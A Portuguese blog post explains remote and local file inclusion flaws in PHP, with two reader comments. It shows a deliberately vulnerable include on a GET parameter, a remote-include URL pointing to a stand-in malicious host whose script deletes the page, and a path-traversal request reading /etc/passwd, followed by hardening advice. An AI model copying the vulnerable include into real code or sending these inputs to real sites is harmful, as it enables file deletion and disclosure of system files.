Segurança: O que é RFI / LFI?
RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a aplicação.
O Ataque!
O ataque ocorre quando o desenvolvedor faz a inclusão de arquivos, baseado em entradas dos usuários. Vamos colocar como exemplo, um formulário para selecionar o idioma de uma página:
pagina.php
<?php if(isset($_GET['idioma')) require_once($_GET['idioma']); ?>
<form method="GET"> <select name="idioma"> <option value="portugues.php">Português</option> <option value="ingles.php">Inglês</option> </select> </form>
Agora o php inclui um arquivo baseado na entrada do usuário, vamos ver alguns exemplos de entradas que poderiam causar dor de cabeça:
Exemplo de RFI (chamando um arquivo remoto…)
pagina.php?idioma=http://malvado.exemplo.com.br/script-php-do-mal.txt?. Agora imagine que o script-php-do-mal.txt contenha o seguinte conteúdo “@unlink(__DIR__ . ‘/pagina.php’);” pronto você acaba de perder seu script!
Exemplo de LFI (Chamando um arquivo local…)
pagina.php?idioma=../../../../../etc/passwd%00?. Você acaba de listar a senha de seus usuários UNIX online!
Observação: Os exemplos acima são muitos comuns, e muitos provedores de hospedagem bloqueiam o acesso aos arquivos/url externas como citados nos exemplos. Os exemplos citados foram usados somente para mostrar possibilidades para exploração das falhas.
Como se prevenir:
Caso você não seja o desenvolvedor e queira fazer uma precaução via servidor, você pode estar trabalhando com as configurações do PHP (ou do interpretador/linguagem que estiver usando), para isso desabilite a inclusão de URL’s no seu php.ini, para isso basta modificar o valor de allow_url_include para Off. No caso de LFI, o correto é o tratamento no próprio script (não fazendo uso de inclusões baseadas em informações de usuários), mas você pode se prevenir fazendo bom uso dos direitos que o próprio sistema operacional lhe oferece.
Obrigado!
Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.
Paragons pelo artigo, difícil alguém dar um require_once(). numa requisição GET ou POST. Contra as boas práticas, né mas não duvido de programador inexperiente!
Então Gustavo o problema é justamente os inexperientes, assim como muitos post’s que escrevo (exemplo sql injection)… é algo difícil de ocorrer pois os próprios hosts, webservers já protegem a galera. Mas ainda sim, tem aquela turma que não sabe nem que existe as boas práticas e esse post tem por objetivo essa turminha. Que bom que gostou 😉